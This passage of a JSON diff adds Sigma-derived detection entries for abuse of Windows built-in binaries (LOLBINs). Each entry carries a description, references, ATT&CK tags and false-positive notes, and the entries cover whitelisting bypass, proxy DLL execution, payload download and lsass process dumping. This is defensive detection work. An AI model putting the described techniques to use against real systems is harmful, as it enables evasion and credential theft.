"Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Use OfflineScannerShell.exe to execute mpclient.dll library in the current working directory", + "uuid": "02b18447-ea83-4b1b-8805-714a8a34546a", + "value": "Suspicious OfflineScannerShell.exe Execution From Another Folder", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/OfflineScannerShell/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_offlinescannershell.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218" + ], + "creation_date": "2022/03/06", + "filename": "proc_creation_win_lolbin_offlinescannershell.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects usage of OpenConsole binary as a LOLBIN to launch other binaries to bypass application Whitelisting", + "uuid": "814c95cc-8192-4378-a70a-f1aafd877af1", + "value": "Use of OpenConsole", + "meta": { + "refs": [ + "https://twitter.com/nas_bench/status/1537563834478645252", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_openconsole.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059" + ], + "creation_date": "2022/06/16", + "filename": "proc_creation_win_lolbin_openconsole.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Legitimate use by an administrator" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Execute commands and binaries from the context of The program compatibility assistant (Pcalua.exe). This is used as a LOLBIN for example to bypass application whitelisting.", + "uuid": "0955e4e1-c281-4fb9-9ee1-5ee7b4b754d2", + "value": "Use of Pcalua For Execution", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/Pcalua/", + "https://pentestlab.blog/2020/07/06/indirect-command-execution/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_pcalua.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059" + ], + "creation_date": "2022/06/14", + "filename": "proc_creation_win_lolbin_pcalua.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Legitimate use by a via a batch script or by an administrator." + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detect indirect command execution via Program Compatibility Assistant pcwrun.exe", + "uuid": "b97cd4b1-30b8-4a9d-bd72-6293928d52bc", + "value": "Indirect Command Execution By Program Compatibility Wizard", + "meta": { + "refs": [ + "https://twitter.com/pabraeken/status/991335019833708544", + "https://lolbas-project.github.io/lolbas/Binaries/Pcwrun/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_pcwrun.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218", + "attack.execution" + ], + "creation_date": "2020/10/12", + "filename": "proc_creation_win_lolbin_pcwrun.yml", + "author": "A. Sungurov , oscd.community", + "level": "low", + "falsepositive": [ + "Need to use extra processing with 'unique_count' / 'filter' to focus on outliers as opposed to commonly seen artifacts", + "Legit usage of scripts" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects indirect command execution via Program Compatibility Assistant \"pcwrun.exe\" leveraging the follina (CVE-2022-30190) vulnerability", + "uuid": "6004abd0-afa4-4557-ba90-49d172e0a299", + "value": "Execute Pcwrun.EXE To Leverage Follina", + "meta": { + "refs": [ + "https://twitter.com/nas_bench/status/1535663791362519040", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_pcwrun_follina.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218", + "attack.execution" + ], + "creation_date": "2022/06/13", + "filename": "proc_creation_win_lolbin_pcwrun_follina.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Tools to Capture Network Packets on the windows 10 with October 2018 Update or later.", + "uuid": "f956c7c1-0f60-4bc5-b7d7-b39ab3c08908", + "value": "Use of PktMon.exe", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/Pktmon/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_pktmon.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1040" + ], + "creation_date": "2022/03/17", + "filename": "proc_creation_win_lolbin_pktmon.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Legitimate use" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects usage of \"PresentationHost\" which is a utility that runs \".xbap\" (Browser Applications) files. It can be abused to run malicious \".xbap\" files any bypass AWL", + "uuid": "d22e2925-cfd8-463f-96f6-89cec9d9bc5f", + "value": "Application Whitelisting Bypass via PresentationHost.exe", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/Presentationhost/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_presentationhost.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.execution", + "attack.t1218" + ], + "creation_date": "2022/07/01", + "filename": "proc_creation_win_lolbin_presentationhost.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Legitimate \".xbap\" being executed via \"PresentationHost\"" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects usage of \"PresentationHost\" which is a utility that runs \".xbap\" (Browser Applications) files to download arbitrary files", + "uuid": "b124ddf4-778d-418e-907f-6dd3fc0d31cd", + "value": "Download Arbitrary Files Via PresentationHost.exe", + "meta": { + "refs": [ + "https://github.com/LOLBAS-Project/LOLBAS/pull/239/files", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_presentationhost_download.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.execution", + "attack.t1218" + ], + "creation_date": "2022/08/19", + "filename": "proc_creation_win_lolbin_presentationhost_download.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the execution of the LOLBIN PrintBrm.exe, which can be used to create or extract ZIP files. PrintBrm.exe should not be run on a normal workstation.", + "uuid": "cafeeba3-01da-4ab4-b6c4-a31b1d9730c7", + "value": "PrintBrm ZIP Creation of Extraction", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/PrintBrm/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_printbrm.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1105", + "attack.defense_evasion", + "attack.t1564.004" + ], + "creation_date": "2022/05/02", + "filename": "proc_creation_win_lolbin_printbrm.yml", + "author": "frack113", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the use of the 'Pubprn.vbs' Microsoft signed script to execute commands.", + "uuid": "1fb76ab8-fa60-4b01-bddd-71e89bf555da", + "value": "Pubprn.vbs Proxy Execution", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/Scripts/Pubprn/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_pubprn.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1216.001" + ], + "creation_date": "2022/05/28", + "filename": "proc_creation_win_lolbin_pubprn.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects using Rasautou.exe for loading arbitrary .DLL specified in -d option and executes the export specified in -p.", + "uuid": "cd3d1298-eb3b-476c-ac67-12847de55813", + "value": "DLL Execution via Rasautou.exe", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/Rasautou/", + "https://github.com/fireeye/DueDLLigence", + "https://www.fireeye.com/blog/threat-research/2019/10/staying-hidden-on-the-endpoint-evading-detection-with-shellcode.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_rasautou_dll_execution.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218" + ], + "creation_date": "2020/10/09", + "filename": "proc_creation_win_lolbin_rasautou_dll_execution.yml", + "author": "Julia Fomina, oscd.community", + "level": "medium", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious execution of Regasm/Regsvcs utilities", + "uuid": "cc368ed0-2411-45dc-a222-510ace303cb2", + "value": "Regasm/Regsvcs Suspicious Execution", + "meta": { + "refs": [ + "https://www.fortiguard.com/threat-signal-report/4718?s=09", + "https://lolbas-project.github.io/lolbas/Binaries/Regasm/", + "https://lolbas-project.github.io/lolbas/Binaries/Regsvcs/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_regasm.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218.009" + ], + "creation_date": "2022/08/25", + "filename": "proc_creation_win_lolbin_regasm.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the use of a Microsoft signed script 'REGISTER_APP.VBS' to register a VSS/VDS Provider as a COM+ application.", + "uuid": "1c8774a0-44d4-4db0-91f8-e792359c70bd", + "value": "REGISTER_APP.VBS Proxy Execution", + "meta": { + "refs": [ + "https://twitter.com/sblmsrsn/status/1456613494783160325?s=20", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_register_app.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218" + ], + "creation_date": "2022/08/19", + "filename": "proc_creation_win_lolbin_register_app.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Legitimate usage of the script. Always investigate what's being registered to confirm if it's benign" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Remote.exe is part of WinDbg in the Windows SDK and can be used for AWL bypass and running remote files.", + "uuid": "4eddc365-79b4-43ff-a9d7-99422dc34b93", + "value": "Use of Remote.exe", + "meta": { + "refs": [ + "https://blog.thecybersecuritytutor.com/Exeuction-AWL-Bypass-Remote-exe-LOLBin/", + "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Remote/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_remote.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1127" + ], + "creation_date": "2022/06/02", + "filename": "proc_creation_win_lolbin_remote.yml", + "author": "Christopher Peacock @SecurePeacock, SCYTHE @scythe_io", + "level": "medium", + "falsepositive": [ + "Approved installs of Windows SDK with Debugging Tools for Windows (WinDbg)." + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the use of Replace.exe which can be used to replace file with another file", + "uuid": "9292293b-8496-4715-9db6-37028dcda4b3", + "value": "Replace.exe Usage", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/Replace/", + "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/replace", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_replace.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1105" + ], + "creation_date": "2022/03/06", + "filename": "proc_creation_win_lolbin_replace.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "An attacker may execute an application as a SCR File using rundll32.exe desk.cpl,InstallScreenSaver", + "uuid": "15bd98ea-55f4-4d37-b09a-e7caa0fa2221", + "value": "Rundll32 InstallScreenSaver Execution", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/Libraries/Desk/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_rundll32_installscreensaver.yml" + ], + "tags": [ + "attack.t1218.011", + "attack.defense_evasion" + ], + "creation_date": "2022/04/28", + "filename": "proc_creation_win_lolbin_rundll32_installscreensaver.yml", + "author": "Christopher Peacock @securepeacock, SCYTHE @scythe_io, TactiKoolSec", + "level": "medium", + "falsepositive": [ + "Legitimate installation of a new screensaver" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "The \"ScriptRunner.exe\" binary can be abused to proxy execution through it and bypass possible whitelisting", + "uuid": "64760eef-87f7-4ed3-93fd-655668ea9420", + "value": "Use of Scriptrunner.exe", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/Scriptrunner/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_scriptrunner.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.execution", + "attack.t1218" + ], + "creation_date": "2022/07/01", + "filename": "proc_creation_win_lolbin_scriptrunner.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Legitimate use when App-v is deployed" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the usage of the \"sftp.exe\" binary as a LOLBIN by abusing the \"-D\" flag", + "uuid": "a85ffc3a-e8fd-4040-93bf-78aff284d801", + "value": "Use Of The SFTP.EXE Binary As A LOLBIN", + "meta": { + "refs": [ + "https://github.com/LOLBAS-Project/LOLBAS/pull/264", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_sftp.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.execution", + "attack.t1218" + ], + "creation_date": "2022/11/10", + "filename": "proc_creation_win_lolbin_sftp.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the execution utitilies often found in Visual Studio tools that hardcode the call to the binary \"link.exe\". They can be abused to sideload any binary with the same name", + "uuid": "6e968eb1-5f05-4dac-94e9-fd0c5cb49fd6", + "value": "Sideloading Link.EXE", + "meta": { + "refs": [ + "https://twitter.com/0gtweet/status/1560732860935729152", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_sideload_link_binary.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218" + ], + "creation_date": "2022/08/22", + "filename": "proc_creation_win_lolbin_sideload_link_binary.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the execution of sigverif binary as a parent process which could indicate it being used as a LOLBIN to proxy execution", + "uuid": "7d4aaec2-08ed-4430-8b96-28420e030e04", + "value": "Suspicious Sigverif Execution", + "meta": { + "refs": [ + "https://www.hexacorn.com/blog/2018/04/27/i-shot-the-sigverif-exe-the-gui-based-lolbin/", + "https://twitter.com/0gtweet/status/1457676633809330184", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_sigverif.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1216" + ], + "creation_date": "2022/08/19", + "filename": "proc_creation_win_lolbin_sigverif.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "The \"Squirrel.exe\" binary that is part of multiple software (Slack, Teams, Discord...etc) can be used as a LOLBIN", + "uuid": "45239e6a-b035-4aaf-b339-8ad379fcb67e", + "value": "Use of Squirrel.exe", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Squirrel/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_squirrel.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.execution" + ], + "creation_date": "2022/06/09", + "filename": "proc_creation_win_lolbin_squirrel.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "See rule (fa4b21c9-0057-4493-b289-2556416ae4d7) for possible FPs" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious LOLBIN AccCheckConsole execution with parameters as used to load an arbitrary DLL", + "uuid": "0f6da907-5854-4be6-859a-e9958747b0aa", + "value": "Suspicious LOLBIN AccCheckConsole", + "meta": { + "refs": [ + "https://gist.github.com/bohops/2444129419c8acf837aedda5f0e7f340", + "https://twitter.com/bohops/status/1477717351017680899?s=12", + "https://lolbas-project.github.io/lolbas/OtherMSBinaries/AccCheckConsole/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_susp_acccheckconsole.yml" + ], + "tags": [ + "attack.execution" + ], + "creation_date": "2022/01/06", + "filename": "proc_creation_win_lolbin_susp_acccheckconsole.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Legitimate use of the UI Accessibility Checker" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Atbroker executing non-deafualt Assistive Technology applications", + "uuid": "f24bcaea-0cd1-11eb-adc1-0242ac120002", + "value": "Suspicious Atbroker Execution", + "meta": { + "refs": [ + "http://www.hexacorn.com/blog/2016/07/22/beyond-good-ol-run-key-part-42/", + "https://lolbas-project.github.io/lolbas/Binaries/Atbroker/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_susp_atbroker.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218" + ], + "creation_date": "2020/10/12", + "filename": "proc_creation_win_lolbin_susp_atbroker.yml", + "author": "Mateusz Wydra, oscd.community", + "level": "high", + "falsepositive": [ + "Legitimate, non-default assistive technology applications execution" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a suspicious certreq execution taken from the LOLBAS examples, which can be abused to download (small) files", + "uuid": "4480827a-9799-4232-b2c4-ccc6c4e9e12b", + "value": "Suspicious Certreq Command to Download", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/Certreq/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_susp_certreq_download.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1105" + ], + "creation_date": "2021/11/24", + "filename": "proc_creation_win_lolbin_susp_certreq_download.yml", + "author": "Christian Burkard", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects when a possible suspicious driver is being installed via pnputil.exe lolbin", + "uuid": "a2ea3ae7-d3d0-40a0-a55c-25a45c87cac1", + "value": "Suspicious Driver Install by pnputil.exe", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/windows-hardware/drivers/devtest/pnputil-command-syntax", + "https://strontic.github.io/xcyclopedia/library/pnputil.exe-60EDC5E6BDBAEE441F2E3AEACD0340D2.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_susp_driver_installed_by_pnputil.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1547" + ], + "creation_date": "2021/09/30", + "filename": "proc_creation_win_lolbin_susp_driver_installed_by_pnputil.yml", + "author": "Hai Vaknin @LuxNoBulIshit, Avihay eldad @aloneliassaf, Austin Songer @austinsonger", + "level": "medium", + "falsepositive": [ + "Pnputil.exe being used may be performed by a system administrator.", + "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", + "Pnputil.exe being executed from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects execution of of Dxcap.exe", + "uuid": "60f16a96-db70-42eb-8f76-16763e333590", + "value": "Application Whitelisting Bypass via Dxcap.exe", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Dxcap/", + "https://twitter.com/harr0ey/status/992008180904419328", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_susp_dxcap.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218" + ], + "creation_date": "2019/10/26", + "filename": "proc_creation_win_lolbin_susp_dxcap.yml", + "author": "Beyu Denis, oscd.community, Nasreddine Bencherchali (update)", + "level": "medium", + "falsepositive": [ + "Legitimate execution of dxcap.exe by legitimate user" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the suspicious execution of a utility to convert Windows 3.x .grp files or for persistence purposes by malicious software or actors", + "uuid": "f14e169e-9978-4c69-acb3-1cff8200bc36", + "value": "Suspicious GrpConv Execution", + "meta": { + "refs": [ + "https://twitter.com/0gtweet/status/1526833181831200770", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_susp_grpconv.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1547" + ], + "creation_date": "2022/05/19", + "filename": "proc_creation_win_lolbin_susp_grpconv.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detect the use of Windows Defender to download payloads", + "uuid": "46123129-1024-423e-9fae-43af4a0fa9a5", + "value": "Windows Defender Download Activity", + "meta": { + "refs": [ + "https://web.archive.org/web/20200903194959/https://twitter.com/djmtshepana/status/1301608169496612866", + "https://lolbas-project.github.io/lolbas/Binaries/MpCmdRun/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_susp_mpcmdrun_download.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218", + "attack.command_and_control", + "attack.t1105" + ], + "creation_date": "2020/09/04", + "filename": "proc_creation_win_lolbin_susp_mpcmdrun_download.yml", + "author": "Matthew Matchen", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects process dump via legitimate sqldumper.exe binary", + "uuid": "23ceaf5c-b6f1-4a32-8559-f2ff734be516", + "value": "Dumping Process via Sqldumper.exe", + "meta": { + "refs": [ + "https://twitter.com/countuponsec/status/910977826853068800", + "https://twitter.com/countuponsec/status/910969424215232518", + "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Sqldumper/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_susp_sqldumper_activity.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.001" + ], + "creation_date": "2020/10/08", + "filename": "proc_creation_win_lolbin_susp_sqldumper_activity.yml", + "author": "Kirill Kiryanov, oscd.community", + "level": "medium", + "falsepositive": [ + "Legitimate MSSQL Server actions" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects Possible usage of Windows Subsystem for Linux (WSL) binary as a LOLBIN", + "uuid": "dec44ca7-61ad-493c-bfd7-8819c5faa09b", + "value": "WSL Execution", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Wsl/", + "https://twitter.com/nas_bench/status/1535431474429808642", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_susp_wsl.yml" + ], + "tags": [ + "attack.execution", + "attack.defense_evasion", + "attack.t1218", + "attack.t1202" + ], + "creation_date": "2020/10/05", + "filename": "proc_creation_win_lolbin_susp_wsl.yml", + "author": "oscd.community, Zach Stanford @svch0st, Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Automation and orchestration scripts may use this method execute scripts etc", + "Legitimate use by Windows to kill processes opened via WSL (example VsCode WSL server)" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Executes arbitrary PowerShell code using SyncAppvPublishingServer.exe.", + "uuid": "fbd7c32d-db2a-4418-b92c-566eb8911133", + "value": "SyncAppvPublishingServer Execute Arbitrary PowerShell Code", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218/T1218.md", + "https://lolbas-project.github.io/lolbas/Binaries/Syncappvpublishingserver/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_syncappvpublishingserver_execute_psh.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218" + ], + "creation_date": "2021/07/12", + "filename": "proc_creation_win_lolbin_syncappvpublishingserver_execute_psh.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "App-V clients" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Executes arbitrary PowerShell code using SyncAppvPublishingServer.vbs", + "uuid": "36475a7d-0f6d-4dce-9b01-6aeb473bbaf1", + "value": "SyncAppvPublishingServer VBS Execute Arbitrary PowerShell Code", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1216/T1216.md", + "https://lolbas-project.github.io/lolbas/Binaries/Syncappvpublishingserver/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_syncappvpublishingserver_vbs_execute_psh.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218", + "attack.t1216" + ], + "creation_date": "2021/07/16", + "filename": "proc_creation_win_lolbin_syncappvpublishingserver_vbs_execute_psh.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the executiob of TTDInject.exe, which is used by Windows 10 v1809 and newer to debug time travel (underlying call of tttracer.exe)", + "uuid": "b27077d6-23e6-45d2-81a0-e2b356eea5fd", + "value": "Use of TTDInject.exe", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/Ttdinject/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_ttdinject.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1127" + ], + "creation_date": "2022/05/16", + "filename": "proc_creation_win_lolbin_ttdinject.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Legitimate use" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects usage of Time Travel Debugging Utility. Adversaries can execute malicious processes and dump processes, such as lsass.exe, via tttracer.exe.", + "uuid": "0b4ae027-2a2d-4b93-8c7e-962caaba5b2a", + "value": "Time Travel Debugging Utility Usage", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/Tttracer/", + "https://twitter.com/mattifestation/status/1196390321783025666", + "https://twitter.com/oulusoyum/status/1191329746069655553", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_tttracer_mod_load.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.credential_access", + "attack.t1218", + "attack.t1003.001" + ], + "creation_date": "2020/10/06", + "filename": "proc_creation_win_lolbin_tttracer_mod_load.yml", + "author": "Ensar \u015eamil, @sblmsrsn, @oscd_initiative", + "level": "high", + "falsepositive": [ + "Legitimate usage by software developers/testers" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the use of a Microsoft signed script executing a managed DLL with PowerShell.", + "uuid": "0403d67d-6227-4ea8-8145-4e72db7da120", + "value": "UtilityFunctions.ps1 Proxy Dll", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/Scripts/UtilityFunctions/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_utilityfunctions.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1216" + ], + "creation_date": "2022/05/28", + "filename": "proc_creation_win_lolbin_utilityfunctions.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "VisualUiaVerifyNative.exe is a Windows SDK that can be used for AWL bypass and is listed in Microsoft's recommended block rules.", + "uuid": "b30a8bc5-e21b-4ca2-9420-0a94019ac56a", + "value": "Use of VisualUiaVerifyNative.exe", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/OtherMSBinaries/VisualUiaVerifyNative/", + "https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules", + "https://bohops.com/2020/10/15/exploring-the-wdac-microsoft-recommended-block-rules-visualuiaverifynative/", + "https://github.com/MicrosoftDocs/windows-itpro-docs/commit/937db704b9148e9cee7c7010cad4d00ce9c4fdad", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_visualuiaverifynative.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218" + ], + "creation_date": "2022/06/01", + "filename": "proc_creation_win_lolbin_visualuiaverifynative.yml", + "author": "Christopher Peacock @SecurePeacock, SCYTHE @scythe_io", + "level": "medium", + "falsepositive": [ + "Legitimate testing of Microsoft UI parts." + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects successful code compilation via Visual Basic Command Line Compiler that utilizes Windows Resource to Object Converter.", + "uuid": "7b10f171-7f04-47c7-9fa2-5be43c76e535", + "value": "Visual Basic Command Line Compiler Usage", + "meta": { + "refs": [ + 